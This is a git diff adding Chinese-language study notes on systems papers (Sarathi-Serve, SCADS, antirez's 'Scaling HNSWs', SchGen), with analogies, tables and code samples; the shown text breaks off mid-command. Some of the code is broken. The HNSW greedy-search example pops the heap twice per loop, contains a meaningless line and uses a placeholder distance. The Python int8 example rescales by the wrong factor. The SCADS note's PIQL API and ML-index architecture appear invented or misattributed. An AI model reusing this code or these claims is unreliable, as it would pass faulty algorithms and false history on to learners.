+5. **OSDI 论文一年内进 vLLM 默认** — 好的 serving 调度研究离生产很近，值得精读。
+
+---
+
+## 延伸阅读
+
+- 论文 PDF：[arXiv:2403.02310](https://arxiv.org/abs/2403.02310) / [USENIX OSDI 2024](https://www.usenix.org/conference/osdi24/presentation/agrawal)
+- 代码：[microsoft/sarathi-serve](https://github.com/microsoft/sarathi-serve)
+- vLLM 性能文档：[Chunked Prefill](https://docs.vllm.ai/en/latest/models/performance.html)
+- 前作 Sarathi：[Efficient LLM Inference by Piggybacking Decodes with Chunked Prefills](https://arxiv.org/abs/2308.16369)
+
+## 关联
+
+- [[vllm]] — PagedAttention 宿主；chunked prefill 默认开启
+- [[paged-attention-vllm]] — KV cache 分页，与调度正交
+- [[orca-continuous-batching]] — iteration-level batching 鼻祖
+- [[distserve-2024]] — PD 分离的另一条主线
+- [[flash-attention]] — 支持 prefill+decode 混合前向的 kernel
+- [[attention]] — 两阶段 attention 访问模式不同，是调度差异的根源
diff --git a/src/content/docs/papers/scads-database-2008.md b/src/content/docs/papers/scads-database-2008.md
new file mode 100644
index 000000000..307e10dc2
--- /dev/null
+++ b/src/content/docs/papers/scads-database-2008.md
@@ -0,0 +1,212 @@
+---
+title: SCADS: Scale-Independent Storage
+来源: https://amplab.cs.berkeley.edu/wp-content/uploads/2011/06/SCADS-Berkeley.pdf
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+# SCADS: Scale-Independent Storage
+
+## 一、一个日常类比
+
+想象你去图书馆找书。
+
+**传统的关系型数据库（比如 MySQL）** 就像图书馆只有一位图书管理员。图书馆刚开业时，只有 100 本书，管理员一秒就能找到你要的那本。但随着书增加到 100 万本，管理员每次都要翻遍整个图书馆——找一本书从一秒变成十分钟。你只能扩建图书馆（加机器），但管理员还是一个人干活，速度上不去。
+
+**NoSQL 键值存储（比如 Redis）** 做法不同：每本书都贴上一个独一无二的编号，你直接报编号，管理员去对应的柜子拿。速度快，但不灵活——你不能问"找所有关于历史的书"，只能问"编号是 X 的书在哪"。
+
+**SCADS 的想法更聪明：** 它不靠一个人，而是雇了 100 个图书管理员（多台机器），但每个管理员只负责自己的一小块区域。更重要的是，它确保**无论你问什么问题，每个管理员最多只需要检查固定数量的书**。这样，图书馆从 100 本变成 10 亿本，查询速度几乎不变。
+
+这个"不管图书馆多大，查询速度都不变"的特性，就是 **Scale Independence（规模独立性）**。
+
+## 二、背景与动机
+
+2008-2011 年间，Facebook、Twitter 等公司都遇到了同一个问题：MySQL 在数据量增长到一定程度后，查询性能急剧下降。于是它们转向了键值存储（Dynamo、Cassandra 等），代价是放弃了 SQL 的高级能力（JOIN、聚合等）。
+
+SCADS 要回答的问题是：能不能**既保留 SQL 的表达能力，又获得 NoSQL 的线性可扩展性**？
+
+答案的核心是一个概念：**Scale Independence（规模独立性）**。
+
+> **Scale Independence 定义**：一个查询的规模独立性是指，无论底层数据库 grows 多大（1TB → 100PB），该查询的执行步骤数（或 I/O 次数）有一个**固定的上界**。
+
+这和传统的"数据独立性"（Logical/Physical Data Independence）不同：
+- **数据独立性**：改变存储结构不影响程序
+- **规模独立性**：数据量增长不影响查询性能
+
+## 三、核心概念
+
+### 3.1 三层架构：KV + LSM + ML
+
+SCADS 不是从零发明一切，它巧妙地把三个已有的技术组合在一起：
+
+```
+┌─────────────────────────────────────────┐
+│         应用层 (API / Query)             │
+├─────────────────────────────────────────┤
+│  索引层：自适应数据索引 (ML-based)       │  ← Tim Kraska 的博士论文
+├─────────────────────────────────────────┤
+│  存储层：LSM-Tree 键值存储               │  ← 写优化
+├─────────────────────────────────────────┤
+│  机器层：无共享架构 (Shared-nothing)     │  ← 水平扩展
+└─────────────────────────────────────────┘
+```
+
+1. **KV 存储层**：底层是一个分布式的、无共享的键值存储。每台机器只管自己的数据分片。
+2. **LSM-Tree**：用 Log-Structured Merge-Tree 做持久化。写入很快（顺序写磁盘），读取可能稍慢但通过索引优化。
+3. **自适应索引（ML）**：这是 SCADS 最有创意的部分。它用机器学习模型**预测哪些数据是热点**，动态调整索引结构，让查询能直接定位到目标数据，而不需要扫描整个表。
+
+### 3.2 Scale-Independent 查询
+
+SCADS 保证查询的规模独立性，关键手段是：
+
+| 手段 | 说明 |
+|------|------|
+| **索引驱动** | 所有查询通过索引直接定位，不扫描全表 |
+| **限制扫描范围** | 查询编译时确定最大扫描的分区数 |
+| **近似计算** | 对聚合查询使用采样（与 BlinkDB 配合） |
+| **预取与缓存** | 预测热点数据，提前加载到内存 |
+
+### 3.3 SCADS Director
+
+SCADS Director 是一个**基于性能的自动扩缩容控制器**。它监听系统延迟（比如 P99），当检测到延迟上升时，自动迁移数据分片、调整机器数量，保证 SLO（服务等级目标）不破裂。
+
+核心思想：**用性能模型预测扩缩容的影响，做出最优决策**，而不是简单地"加机器"。
+
+## 四、代码示例
+
+### 示例 1：SCADS 的键值接口
+
+SCADS 底层是一个分布式的 KV 存储。应用的视角很简单：
+
+```scala
+// 用 Scala 写的 SCADS 客户端（来自 PIQL 原型）
+import scadr.client._
+
+// 创建连接到 SCADS 集群的客户端
+val client = new ScadrClient("scads-cluster:9999")
+
+// 插入一条记录（和 Redis 类似简单）
+client.put("user:1001", Map(
+  "name" -> "Alice",
+  "email" -> "alice@example.com",
+  "age" -> 28
+))
+
+// 查询一条记录（O(1) 规模独立）
+val result = client.get("user:1001")
+println(result("name"))  // 输出: Alice
+
+// 批量查询（仍然规模独立——每个 key 直接定位）
+val results = client.mget(List("user:1001", "user:1002", "user:1003"))
+```
+
+关键点：`get` 操作的执行时间**不随数据总量增长而增长**。因为 SCADS 的索引会在内部将 `"user:1001"` 直接映射到某台机器上的某个位置。
+
+### 示例 2：PIQL 的 Scale-Independent 查询
+
+PIQL（Performance-Insightful Query Language）是建立在 SCADS 上的查询语言扩展，确保 SQL 查询也是规模独立的：
+
+```scala
+// 普通的 SQL（规模依赖——数据越大越慢）
+// SELECT * FROM users WHERE country = 'CN' ORDER BY created_at DESC LIMIT 10
+
+// PIQL 的写法（规模独立——保证最多扫描固定数量的分区）
+import scadr.dsl._
+
+val query = sql """
+  SELECT * FROM users
+  WHERE country = 'CN'
+  ORDER BY created_at DESC
+  LIMIT 10
+""".scaleIndependent  // ← 关键字：告诉编译器保证规模独立
+
+// 编译器会自动做这些优化：
+// 1. 根据 country 索引定位到相关分片
+// 2. 每个分片只取 TOP-10（用堆选择）
+// 3. 合并所有分片的 TOP-10，取最终前 10
+// 4. 无论用户表有 100 条还是 10 亿条，扫描的分区数有上界
+
+val results = client.execute(query)
+results.foreach { row =>
+  println(s"${row("name")} - ${row("email")}")
+}
+```
+
+这个例子的精妙之处在于：普通的 `WHERE + ORDER BY + LIMIT` 在 MySQL 中随着数据量增长会越来越慢（即使有索引）。但 PIQL 在**编译阶段**就把查询改写成一系列bounded operations，确保每个步骤最多处理固定数量的数据。
+
+### 示例 3：SCADS 的自动扩缩容
+
+```python
+# SCADS Director 的控制逻辑（简化版）
+from scads.director import PerformanceController
+
+controller = PerformanceController(
+    cluster="scads-cluster",
+    slo_p99_latency_ms=100,  # SLO: P99 延迟不超过 100ms
+    performance_model="latency_predictor"
+)
+
+def on_latency_spike(detected_p99_ms):
+    """
+    当检测到 P99 延迟飙升时，Director 自动决策：
+    1. 用性能模型预测哪些分片是热点
+    2. 决定迁移哪些分片到其他机器
+    3. 在不停服的情况下执行迁移
+    """
+    print(f"P99 延迟检测到异常: {detected_p99_ms}ms (SLO 上限: 100ms)")
+    
+    # 预测热点分片
+    hotspots = controller.predict_hotspots()
+    
+    # 决策：迁移 + 弹性伸缩
+    migration_plan = controller.plan_migration(hotspots)
+    
+    # 执行：热迁移，不中断服务
+    controller.execute(migration_plan)
+    
+    print("扩缩容完成，等待 SLO 恢复...")
+
+# 持续监控
+controller.watch(on_latency_spike)
+```
+
+SCADS Director 的论文（USENIX ATC 2011）表明，这种**基于模型的自动弹性伸缩**可以在负载剧烈变化（比如突发热点、昼夜模式切换）时，保持 P99 延迟不突破 SLO。
+
+## 五、SCADS 的核心贡献总结
+
+1. **Scale Independence 概念的提出**：将数据独立性扩展到"规模独立性"维度，定义了可量化保证的查询语义
+2. **自适应索引**：用 ML 模型预测数据访问模式，动态调整索引，实现高效的索引驱动查询
+3. **LSM-Tree 上的分布式 KV 存储**：写友好 + 水平扩展，为上层查询提供基础
+4. **SCADS Director**：基于性能模型的自动弹性伸缩框架，保证 SLO
+5. **PIQL 查询语言**：在 SQL 基础上添加 scale-independent 保证，编译期确保查询步骤有界
+
+## 六、与 NoSQL 的对比
+
+| 维度 | MySQL / PostgreSQL | NoSQL (Dynamo/Cassandra) | SCADS |
+|------|---|---|---|
+| 查询语言 | SQL（表达力强） | get/put（表达力弱） | SQL + scale-independent 保证 |
+| 线性扩展 | 差（单机瓶颈） | 好（原生分布式） | 好（分布式 KV + 索引） |
+| JOIN 支持 | 好 | 差（需应用层组装） | 编译期优化保证 |
+| 规模独立性 | 否 | 是（天然） | 是（编译期保证） |
+| 一致性 | 强 | 最终/可调 | 可调 |
+
+NoSQL 的规模独立性是**天生的**——因为每个操作只涉及一个 key，数据量增长不影响性能。但代价是失去了 SQL 的表达能力。SCADS 的目标是用**编译时分析 + 自适应索引**，让 SQL 查询也能获得规模独立性。
+
+## 七、影响与后续
+
+SCADS 项目对后续系统产生了深远影响：
+
+- **BlinkDB**（VLDB 2012）：在 SCADS 上实现了近似查询处理，用采样保证响应时间的同时给出结果质量保证
+- **PIQL**（VLDB 2012）：进一步将 scale-independent 扩展到更丰富的 SQL 子集
+- **SPARK**：Matei Zaharia 在 AMPLab 的下一个项目，SCADS 的分布式经验为 Spark 的架构设计提供了参考
+- **Tim Kraska 的后续工作**：Kraska 博士毕业后去 MIT，继续研究学习型数据库索引，后来加入 Amazon 推动了 **Amazon Athena** 和 **Redshift** 中 ML 驱动的优化器
+
+SCADS 的核心洞察——**用数据分布知识来优化查询定位**——在今天的 AI-native 数据库中更加重要。
+
+## 八、思考题
+
+1. SCADS 的"规模独立性"和 NoSQL 的"规模独立性"有什么本质区别？（提示：考虑 SQL 的 JOIN 操作）
+2. 用 ML 预测热点数据有什么风险？如果预测错了会怎样？
+3. SCADS Director 和 Kubernetes HPA（Horizontal Pod Autoscaler）有什么异同？
diff --git a/src/content/docs/papers/scaling-hnsws-antirez.md b/src/content/docs/papers/scaling-hnsws-antirez.md
new file mode 100644
index 000000000..5ace0a483
--- /dev/null
+++ b/src/content/docs/papers/scaling-hnsws-antirez.md
@@ -0,0 +1,249 @@
+---
+title: Scaling HNSWs（antirez）— 把向量近邻图做成 Redis 级低延迟的工程实践
+来源: https://antirez.com/news/156
+日期: 2026-06-13
+子分类: 检索与排序
+分类: 信息检索
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Salvatore Sanfilippo（antirez，Redis 原作者）在 2025 年 11 月写的博客 **《Scaling HNSWs》**，不是 HNSW 入门教程，而是他**花近一年从零实现 Redis Vector Sets** 后，关于「如何把 HNSW 做到 Redis 能接受的延迟与可运维性」的工程总结。
+
+日常类比：HNSW 像一座**多层快捷通道商场**——顶层通道少、步子大，底层店铺密、走得细，帮你在百万件商品里快速找到「口味相近」的几样。antirez 这篇文章讲的是：**商场本身又占地方又慢**（指针多、向量胖、贪心搜索吃 CPU），Redis 却承诺「毫秒级响应」。他要在不牺牲太多召回的前提下，把这座商场**压缩体积、开多收银台、支持拆分店、还能真删商品而不留 ghost 铺位**。
+
+文章对应 Redis 8 起的 **Vector Sets** 数据类型：`VADD` 加向量、`VREM` 删元素、`VSIM` 做相似搜索——把 HNSW 当作**一等数据结构**暴露，而不是 RediSearch 那种「挂在文档上的索引」。
+
+## 为什么重要
+
+若只读过 2018 年 HNSW 原论文，容易以为「调 M、ef 就够了」。antirez 补充的是**生产级缺口**：
+
+- **内存**：每层指针 × 多层 × float32 向量，Word2Vec 300 维一条向量就可能占 1KB+（量化后）
+- **延迟**：单线程插入 ~5000/s、查询 ~90k/s，和 Redis 其它结构差一个数量级
+- **删除**：多数实现用 tombstone，图质量退化、内存难回收
+- **加载**：若从磁盘只存「向量列表」再重建图，重启/主从复制要**数分钟**
+- **扩展**：索引形态难水平分片；数据结构形态可以 `hash % N` 写多 key、并行 `VSIM` 再 merge
+
+Simon Willison 等开发者把此文视为「**immersive trip through modern CS**」——因为代码在 `redis/modules/vector-sets/hnsw.c`，注释极多，算法改动可直接对照读。
+
+## 核心概念
+
+### 1. HNSW 在 Redis 语境下的「抗性」
+
+HNSW 天然**吃内存、吃 CPU、写路径慢**。Redis 传统是单线程 + shared-nothing 多实例。antirez 的结论是：向量搜索**例外地值得线程化**——读多写少，且单次查询本身够重，多核并行有收益。
+
+### 2. 内存：int8  per-vector 量化是最大甜点
+
+三层空间开销来源：
+
+| 来源 | 说明 |
+|------|------|
+| 邻居指针 | 每点 M=16~32 条边，64 位指针 8B |
+| 多层结构 | 类似跳表，平均约 **1.3×** 指针开销（层概率 0.25 时） |
+| 向量本体 | 300~3000 维 float32，每维 4B |
+
+**int8 量化（默认）**：对每个向量单独算 `max_abs`，映射到 `[-127,127]`。余弦相似度与点积在归一化后等价，整数点积再乘 scale 回浮点：
+
+```c
+/* 简化自 Redis hnsw.c 的 vectors_distance_q8 思路 */
+const float scale_product = (range_a / 127.0f) * (range_b / 127.0f);
+int32_t dot0 = 0;
+for (int i = 0; i < dim; i++)
+    dot0 += (int32_t)x[i] * (int32_t)y[i];
+float dotf = dot0 * scale_product;  /* 近似未量化点积 */
+```
+
+效果：**约 4× 向量体积缩小、约 4× 距离计算加速**，召回在真实 workload 里几乎不变。全精度与**二值量化**（只存符号，适合 yes/no 用户画像）也可选，但作者对非二值源数据用二值量化持怀疑态度。
+
+指针压缩（高 32 位相同）是潜在优化，作者尚未默认启用——**时间换空间**的权衡。
+
+### 3. 速度：线程、epoch、读写拆分
+
+**读路径**：无写并发时，后台线程跑贪心搜索，结果回传阻塞客户端。
+
+**visited 标记**：不用哈希表记「已访问」，而在每个节点存 `visited_epoch[]`——全局 epoch 递增，搜索时把当前 epoch 写入节点。多线程需要**每线程一个 epoch 槽**（`HNSW_MAX_THREADS`），空间换时间。
+
+**写路径拆分**：
+
+1. **读半段**：找邻居候选（耗时长）
+2. **提交半段**：加写锁，真正连边；若图已变则丢弃 stale 候选
+
+删除 key 时先 **`wait for background ops`** 再释放内存，避免线程还在读已被删的图。
+
+benchmark 数字（真实向量 workload，含 Redis 协议开销）：**~50k ops/s**；裸 HNSW 库更高。MacBook 上对 300 万 Word2Vec 的 `VSIM` 约 **48k ops/s**。
+
+### 4. 真删除 vs tombstone
+
+常见误解来自原论文表述不清：插入时候选节点**邻居已满**，很多实现只做**单向边**（新节点 → 旧节点），删除时无法找到所有入边，只能 tombstone。
+
+Redis 实现**强制双向边**：A→B 则 B→A。插入时用启发式**挤掉**连通性更好的旧边。删除节点后，对孤儿邻居建**距离矩阵**，贪心配对重连，最小化平均距离——删到只剩 5% 节点时图仍可搜。
+
+### 5. 水平扩展：数据结构 > 索引
+
+```text
+# 概念：同一 query 打 N 个 shard，客户端 merge top-K
+VSIM shard:0 VALUES [...] WITHSCORES
+VSIM shard:1 VALUES [...] WITHSCORES
+...
+# 写：hash(element) % N 选 key，多实例并行 ingest
+```
+
+还可「**每个用户一个小 Vector Set**」——索引模型很难表达，Redis key 模型 trivial。key 可设 TTL，和 Sorted Set 一样过期。
+
+### 6. 加载：序列化图而非重插
+
+ naive 方式：RDB 存 `(id, vector)`，启动时重新 `VADD` → 300 万词向量要很久。
+
+正确方式：**序列化节点 ID + 邻居 ID + 量化向量**，加载时分配内存、把 ID 解析成指针 → **~100×** 加速。
+
+安全加载：RDB 可能被篡改。第二遍扫描时用 **128 位 xor 累加器** 校验每条边是否双向——对每条无向边 `(A,B)` 算 `hash(salt||min(A,B)||max(A,B)||level)` 异或，全部 reciprocal 则累加器为 0，**O(节点数)** 几乎免费。
+
+### 7. 混合搜索：贪心 + JSON FILTER
+
+产品常要「相似 + 属性过滤」（如 1980–1990 年电影）。作者认为很多场景用**按年份分 key** 更省；仍实现了在贪心循环里挂 JSON 元数据 + 表达式过滤：
+
+```text
+VSIM movies VALUES ... FILTER '.year >= 1980 and .year < 1990'
+```
+
+洞察：先要**近**向量，不必为极少数匹配 filter 的远点扫全图；用户可设 **effort** 上限。
+
+### 8. 对「H」是否必要的开放态度
+
+多层相对单层约 1.3× 指针；早期实验显示**全在 layer 0** 时 seek 更慢但仍能到正确簇。作者在跟踪「flat HNSW」研究（见文未 arXiv:2412.01940），认为 HNSW **不是最后一句话**，删除、单层、磁盘变体仍有论文空间。
+
+## 代码示例
+
+### 示例 1：Python 模拟 int8 量化距离（理解 Redis 默认路径）
+
+```python
+import numpy as np
+
+def quantize_int8(vec: np.ndarray) -> tuple[np.ndarray, float]:
+    """Per-vector int8，与 antirez 描述一致：用 max_abs 定标"""
+    max_abs = float(np.max(np.abs(vec)))
+    if max_abs == 0:
+        return np.zeros(len(vec), dtype=np.int8), 0.0
+    q = np.clip(np.round(vec / max_abs * 127), -127, 127).astype(np.int8)
+    return q, max_abs
+
+def distance_q8(a: np.ndarray, b: np.ndarray) -> float:
+    qa, ra = quantize_int8(a)
+    qb, rb = quantize_int8(b)
+    scale = (2 * ra / 127) * (2 * rb / 127)  # range = 2*max_abs
+    dot = int(qa.astype(np.int32) @ qb.astype(np.int32))
+    return dot * scale  # 与 float 点积近似；归一化向量时可当 cosine 相关
+
+v1 = np.random.randn(300).astype(np.float32)
+v2 = v1 + np.random.randn(300) * 0.01
+print("float dot:", float(v1 @ v2))
+print("q8 dot:   ", distance_q8(v1, v2))
+```
+
+### 示例 2：客户端分片查询 + merge（Scaling 多实例）
+
+```python
+import asyncio
+import numpy as np
+from dataclasses import dataclass
+
+@dataclass
+class Hit:
+    key: str
+    score: float  # cosine distance，越小越相似
+
+async def vsim(redis, shard_key: str, query: list[float], k: int) -> list[Hit]:
+    # 伪代码：对应 Redis VSIM ... WITHSCORES
+    raw = await redis.execute_command(
+        "VSIM", shard_key, "VALUES", *query, "WITHSCORES", "COUNT", k
+    )
+    # raw 形如 [elem1, score1, elem2, score2, ...]
+    return [Hit(raw[i], float(raw[i + 1])) for i in range(0, len(raw), 2)]
+
+async def vsim_sharded(clients, shard_keys, query, k=10):
+    """并行查 N 个 Redis 实例，merge 全局 top-k（最小 distance）"""
+    chunks = await asyncio.gather(
+        *[vsim(r, key, query, k) for r, key in zip(clients, shard_keys)]
+    )
+    merged = sorted((h for part in chunks for h in part), key=lambda h: h.score)
+    return merged[:k]
+
+def pick_shard(element: str, n: int) -> int:
+    return hash(element) % n  # 写路径：元素落哪个 key
+```
+
+### 示例 3：简化贪心搜索 + filter（理解 FILTER 插入点）
+
+```python
+import heapq
+
+def greedy_search(entry, query, graph, k, ef, pred):
+    """
+    graph[u] -> list of neighbor ids
+    pred(node) -> bool  类似 VSIM FILTER
+    """
+    candidates = [(-dist(query, entry), entry)]  # max-heap by neg dist
+    results = []
+    visited = set()
+
+    while candidates and len(candidates) <= ef:
+        d, c = heapq.heappop(candidates)
+        c = -c if False else c  # 示意：应用 max-heap 取最近
+        _, c = heapq.heappop(candidates)
+        if results and d > -results[0][0]:
+            break
+        for nb in graph[c]:
+            if nb in visited:
+                continue
+            visited.add(nb)
+            if not pred(nb):
+                continue
+            nd = dist(query, nb)
+            heapq.heappush(candidates, (-nd, nb))
+            if len(results) < k:
+                heapq.heappush(results, (-nd, nb))
+            elif nd < -results[0][0]:
+                heapq.heapreplace(results, (-nd, nb))
+    return [id for _, id in sorted(results, reverse=True)]
+
+def dist(q, node):
+    return 1.0  # 占位：实际为 cosine / L2
+```
+
+## 性能与内存速查
+
+| 场景 | 数量级（作者实测/自述） |
+|------|-------------------------|
+| 单线程插入 Word2Vec 300 维 | ~5k 元素/s |
+| 单线程查询 | ~90k QPS |
+| redis-benchmark 真实向量 workload | ~50k ops/s |
+| 300 万 Word2Vec，int8 默认 | ~3GB RAM，~1KB/条 |
+| 图结构 RDB 加载 vs 重插 | ~100× 更快 |
+
+## 与 RediSearch / 其它实现的对比
+
+| 维度 | RediSearch 向量索引 | Redis Vector Sets（此文） |
+|------|---------------------|---------------------------|
+| 抽象 | 文档字段上的二级索引 | 独立 key 类型，类似 Sorted Set |
+| 组合性 | 绑定搜索 schema | 任意 payload；多 key 分片自然 |
+| 删除 | 依赖具体引擎 | 真删 + 重连邻居 |
+| 过滤 | 索引侧能力 | 贪心内 JSON FILTER + effort 上限 |
+
+## 局限与作者态度
+
+- **内存**：in-memory 是设计选择；极大规模冷数据应用磁盘友好结构（Microsoft DiskANN 等），热集仍可能放 RAM。
+- **研究未完成**：指针压缩、层数策略、flat vs hierarchical 仍在探索。
+- **采用曲线**：作者预期像 Redis Streams 一样，**要很多年**用户才充分挖掘向量能力——「不只是 RAG」。
+
+## 延伸阅读
+
+- HNSW 原论文与基础笔记：本库 [`hnsw-2018.md`](./hnsw-2018.md)
+- Vector Sets 设计说明：[redis/modules/vector-sets README](https://github.com/redis/redis/tree/unstable/modules/vector-sets)
+- 实现源码：[hnsw.c](https://github.com/redis/redis/blob/unstable/modules/vector-sets/hnsw.c)
+- 「H 层是否必要」：[arXiv:2412.01940](https://arxiv.org/abs/2412.01940)
+- 更早一篇：Vector Sets 入 Redis 公告 [antirez news/149](https://antirez.com/news/149)（双向边、线程化 VSIM 动机）
+
+## 小结
+
+**Scaling HNSWs** 的价值在于：把学术论文里的近似近邻图，翻译成 **Redis 可运维、可扩展、可删可载** 的具体决策——int8 量化、per-thread epoch、读写半段、双向边真删除、图序列化、分 key 水平扩展、贪心内过滤。零基础读者应先掌握 HNSW 贪心与 M/ef 含义，再读此文作为**工程进阶**；有实现经验者可直接对照 `hnsw.c` 当「带注释的 design doc」。
diff --git a/src/content/docs/papers/schgen-pcb.md b/src/content/docs/papers/schgen-pcb.md
new file mode 100644
index 000000000..d362e7d6c
--- /dev/null
+++ b/src/content/docs/papers/schgen-pcb.md
@@ -0,0 +1,288 @@
+---
+title: SchGen — 用自然语言生成 PCB 原理图（零基础学习笔记）
+来源: https://arxiv.org/abs/2605.30345
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：菜谱 vs 厨房平面图坐标
+
+你想做一块「带 USB 供电、3.3V 稳压、状态 LED」的小板子。对工程师来说，第一步不是画 PCB 铜箔，而是画**原理图（schematic）**：选芯片、电阻、电容，用线把引脚连对——相当于写一份**电路菜谱**。
+
+传统 EDA 工具（KiCad、Altium 等）保存原理图时，文件里塞满了：
+
+- 工具版本号、图层、字体、线宽等**装修细节**；
+- 每个符号的**绝对坐标**（像「冰箱距厨房左墙 157.48 cm」）；
+- 导线用一串折线点描述几何形状。
+
+若你把这份原始文件直接丢给大模型生成，就像让 AI **背整张建筑平面图坐标**来画厨房——格式稍错就打不开，连线更容易画歪。
+
+微软与 UCSD 等作者在 2026 年论文 **SchGen: PCB Schematic Generation with Semantic-Grounded Code Representations**（arXiv:[2605.30345](https://arxiv.org/abs/2605.30345)）里换了一种说法：
+
+> 别背坐标，改说**编辑步骤**：先放稳压芯片 U1，在 U1 左边 20 格放输入电容，用 `connect_pins` 把 `VIN` 接到 `U1.VIN`。
+
+把「几何预测」变成「语义匹配」——这正是 LLM 擅长的序列生成。开源实现见 [microsoft/SchGen](https://github.com/microsoft/SchGen)。
+
+一句话：**硬件原理图生成，瓶颈往往不在模型大小，而在有没有 LLM 吃得下的表示（representation）。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 任务 | 自然语言需求 → 可编辑 KiCad 原理图 |
+| 模型 | 基于 **GPT-oss-20B** 监督微调 + LoRA 的 **SchGen** |
+| 核心表示 | **Code-L1**：语义接地代码 API（相对坐标 + 引脚名连线） |
+| 数据集 | 2105 张原理图 / 1390 种设计；含简洁与详细两种用户请求 + CoT |
+| 主要来源 | SparkFun 等开源硬件（CC BY-SA 4.0）+ GitHub KiCad 项目（泛化测试） |
+| 下游 | 生成 `.kicad_sch` → 导出 **netlist** → PCB 布局与制造 |
+
+论文声称这是首个从自然语言生成**可编辑 PCB 原理图**的专用 LLM，并系统比较了多种表示与前沿通用模型的差距。
+
+---
+
+## 为什么重要
+
+### 1. PCB 原理图仍是硬件创新的「第一道门」
+
+几乎所有电子设备都依赖 PCB。原理图决定器件清单与电气连接（netlist），后续布局、布线、打样都建立在它之上。这一步至今高度依赖人工与领域经验，自动化程度远低于数字 IC 的 Verilog 生成或部分模拟电路拓扑搜索。
+
+### 2. 现有表示对 LLM 不友好
+
+论文对比三类常见路线（见图 2 概念）：
+
+| 表示 | 问题 |
+|------|------|
+| **原始 KiCad 文本** | 冗长 s-expression、元数据多；Valid Circuits 仅 ~32% |
+| **纯图像生成** | 不可编辑、符号扭曲、难转 netlist |
+| **SKiDL 等代码 netlist** | 跳过可视化原理图，工程师难以审阅 |
+
+SchGen 的目标是在「可读原理图」与「可学习文本」之间搭桥。
+
+### 3. 表示设计 > 盲目堆参数
+
+实验里 **20B 的 SchGen** 在连线准确率、专家功能正确率上超过用同样 API 提示的 **GPT-5.2** 等更大模型——说明**领域数据 + 合适抽象**可以弥补规模差距。
+
+---
+
+## 核心概念
+
+### 1. PCB 原理图三要素（KiCad 语境）
+
+1. **元件符号（symbol）**：MCU、电阻、电容、连接器等，每个有多个 **pin（引脚）**。
+2. **电源符号 / 网络标签（power / net label）**：如 `VCC`、`GND`；同名标签在电气上视为相连。
+3. **导线（wire）**：在引脚之间建立连接；最终导出 **netlist**（谁与谁同网）。
+
+人类画图的顺序通常是：**选件 → 摆放 → 连线**。SchGen 的 API 刻意模仿这一编辑流程。
+
+### 2. 语义接地代码 API（Code-L1）
+
+五个核心原语（论文 §3.1）：
+
+```python
+def add_schematic_symbol(symbol_lib, symbol_name, x, y, ref, value, rotation, mirror)
+def add_label(label_pos, label_text, label_ref, label_type, text_orient)
+def get_pin_location(symbol_ref, pin_name)
+def connect_pins(symbol_a, pin_a, symbol_b, pin_b)
+def write_out_all_wires()
+```
+
+设计要点：
+
+- **相对坐标**：以每个功能块的「中心元件」为锚点，其他元件写 `center_x + (-20)` 这类偏移，减轻 LLM 记绝对像素的压力。
+- **引脚名连线**：`connect_pins("#PWR1", "VIN", "U1", "VIN")` 用语义名匹配，而不是 `add_new_wire([99.06, 117.29], ...)` 画折线。
+- **批量布线**：所有 `connect_pins` 登记完后，由 `write_out_all_wires()` 统一自动走线并写出 KiCad 文件。
+
+### 3. 三种代码表示消融（Table 1）
+
+| 代号 | 含义 | 相对坐标 | 引脚名连线 |
+|------|------|----------|------------|
+| **Code-L1** | SchGen 采用 | ✓ | ✓ |
+| **Code-L2** | 去掉相对坐标 | ✗（绝对坐标） | ✓ |
+| **Code-L3** | 再去掉引脚名 | ✗ | ✗（坐标画线段） |
+
+论文用 MDL、LZ 复杂度、验证损失说明 **L1 更可压缩、更易学**；实验上 L3 的 netlist Jaccard 暴跌（~15%），说明**连线语义**是关键。
+
+### 4. 数据集构建：Agent 描摹 + 人工校对
+
+开源硬件网上常只有原理图**图片**，没有可编辑源文件。流水线（§3.2）：
+
+```text
+参考原理图图片
+  → 多模态 LLM（如 GPT-5）按 API 写 Python，执行得反馈
+  → 迭代修正语法/非法符号
+  → 人工工程师对齐连线（LLM 难判「相交」vs「真正连接」）
+  → schematic-to-code 反向转换，生成 Code-L1 训练样本
+  → 再由 LLM 根据图像 + netlist 合成「简洁 / 详细」用户请求 + CoT
+```
+
+平均每个设计验证对齐 <20 秒，远低于从零手画数分钟——这是规模数据集（8420 条增广样本）的前提。
+
+### 5. 训练与推理
+
+- 基座：**GPT-oss-20B**（Apache-2.0），**LoRA** 监督微调。
+- 数据增强：两种请求风格 × 两种 CoT 来源（GPT-oss-120B 与 20B 自蒸馏）。
+- 推理：用户自然语言 → SchGen 输出 Python → 执行 → `.kicad_sch`。
+
+---
+
+## 代码示例 1：最小稳压块（Code-L1 风格）
+
+下面综合论文附录 Listing 1，展示**锚点 + 相对放置 + 引脚名连接**（教学用缩写，非完整库导入）：
+
+```python
+# 功能块 1：AP2112K-1.8 线性稳压
+center_x_1, center_y_1 = 120, 105
+
+add_schematic_symbol(
+    symbol_lib="Regulator_Linear",
+    symbol_name="AP2112K-1.8",
+    pos_x=center_x_1,
+    pos_y=center_y_1,
+    reference="U1",
+    value="AP2112K-1.8",
+    rotation=0,
+    mirror="None",
+)
+
+# 相对 U1 放置输入电源、去耦电容、地
+add_schematic_symbol(
+    symbol_lib="power", symbol_name="VAA",
+    pos_x=center_x_1 + (-20), pos_y=center_y_1 + 5,
+    reference="#PWR1", value="VIN", rotation=0, mirror="None",
+)
+add_schematic_symbol(
+    symbol_lib="Device", symbol_name="C",
+    pos_x=center_x_1 + (-20), pos_y=center_y_1 + (-5),
+    reference="C1", value="1uF", rotation=0, mirror="None",
+)
+
+# 语义连线：电源 → 芯片 → 输出轨
+connect_pins("#PWR1", "VIN", "U1", "VIN")
+connect_pins("U1", "VOUT", "#PWR_1V1", "+1V8")
+connect_pins("U1", "VIN", "U1", "EN")  # 使能脚接输入
+
+write_out_all_wires()  # 导出 KiCad 并做基础自动布线
+```
+
+读这段代码时，你应能**不看坐标**就理解电气意图——这正是 SchGen 想让模型学到的技能。
+
+---
+
+## 代码示例 2：用户请求 → SchGen 推理（仓库 CLI 概念）
+
+官方仓库典型用法（见 [microsoft/SchGen](https://github.com/microsoft/SchGen) README）：
+
+```bash
+# 环境：KiCad、Python 依赖、Hugging Face 上的 microsoft/SchGen 权重
+export PROJECT_PATH=/path/to/SchGen
+
+python schematic_generation/generate.py \
